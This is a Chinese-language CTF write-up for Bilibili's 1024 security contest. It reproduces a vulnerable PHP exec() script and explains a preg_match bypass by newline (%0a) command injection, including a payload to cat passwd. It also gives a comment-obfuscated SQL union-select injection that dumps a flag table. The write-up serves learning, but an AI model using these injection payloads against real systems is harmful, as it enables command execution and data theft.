zoukankan      html  css  js  c++  java
  • b站1024程序员节-技术对抗赛

    链接在这 ----->> 哔哩哔哩 (゜-゜)つロ 干杯~-bilibili 

     

    第一题:

     PS:提示打开的是AES的百度百科

    在线AES加密解密、AES在线加密解密、AES encryption and decryption--查错网 

     

    第二题:

     

     

     

    第三题:

    eval.zip打开是

    php代码审计,preg_match绕过和命令执行

    打开提示里也是preg_match

    <?php
        /* 
            bilibili- ( ゜- ゜)つロ 乾杯~
            uat: http://192.168.3.2/uat/eval.php
            pro: http://security.bilibili.com/sec1024/q/pro/eval.php
        */
        $args = @$_GET['args'];
        if (count($args) >3) {
            exit();
        }
        for ( $i=0; $i<count($args); $i++ ){
            if ( !preg_match('/^w+$/', $args[$i]) ) {
                exit();
            }
        }
        // todo: other filter
        $cmd = "/bin/2233 " . implode(" ", $args);
        exec($cmd, $out);
        for ($i=0; $i<count($out); $i++){
            echo($out[$i]);
            echo('<br>');
        }
    ?>

    尝试读下源码,需要GET方式提交args参数,args参数的数目不能大于3,就是不止一个,最多3个,中间肯定用&连接了

    接着是以输入的args参数的数目进行for循环执行正则表达式,如果匹配就继续,不匹配就退出

    正则表达式"/^w+$/",匹配字符串,w表示大小写+数字+下划线{ a-z,A-Z,_,0-9,_}。如果不匹配会退出

    两个`/``/` 表明正则表达式的开始与结束,`^`开始字符,`$`结束字符,`+`代表可以有一个或多个`w`。

    再接着是用/bin/2233的shell程序执行implode函数合并args参数后的内容并输出到$out变量并echo显示,implode函数是给多个args参数合并到一起

     

    网上找了下preg_match绕过总结-----------preg_match绕过总结 - MustaphaMond - 博客园 

    大致是用数组类型[]和%0a绕过,第二个的PCRE没仔细看,不太懂。。

    所以payload是args[]=1%0a,1可以换成大小写、数字和下划线

    再加上其他linux命令参数就是args[]=1%0a&args[]=ls

     查看用cat命令需要再加一个args参数args[]=1%0a&args[]=cat&args[]=passwd,其他文件都是空,这里就是最多3个args参数,用[]和数字大小写下划线绕过preg_match函数

     其实这里还有点疑问:

    1、为什么1%0a参数放前面行放后面不行

     2、用其他命令为什么不行呢,是b站做限制了吗,试过ifconfig、w、ss、df,包括ls和/,uname和-r

     这些命令可以

     

    第四题:

     

    payload:

    {
        "user_id": "",
        "user_name": "1/**/union/**/select/**/1,2,3,4,group_concat(id)/**/from/**/flag",
        "action": "",
        "page": 1,
        "size": 20
    }

    第七题:

     

    奶奶问孙子:4+1等于几 孙子说:等于6-1。 奶奶说:你明明知道答案,为什么不说? 孙子说:年轻人不讲5的……..
  • 相关阅读:
    计算器第七次作业——总结
    计算器第六次作业——界面
    链表反转
    计算器第五次作业——更新
    求圆的面积
    计算器第四次作业——实现
    计算器第三次作业——完善
    计算器第三次作业——初步
    成长函数
    单个H扩展到多个H时,机器学习的保证
  • 原文地址:https://www.cnblogs.com/jasy/p/15478485.html
Copyright © 2011-2022 走看看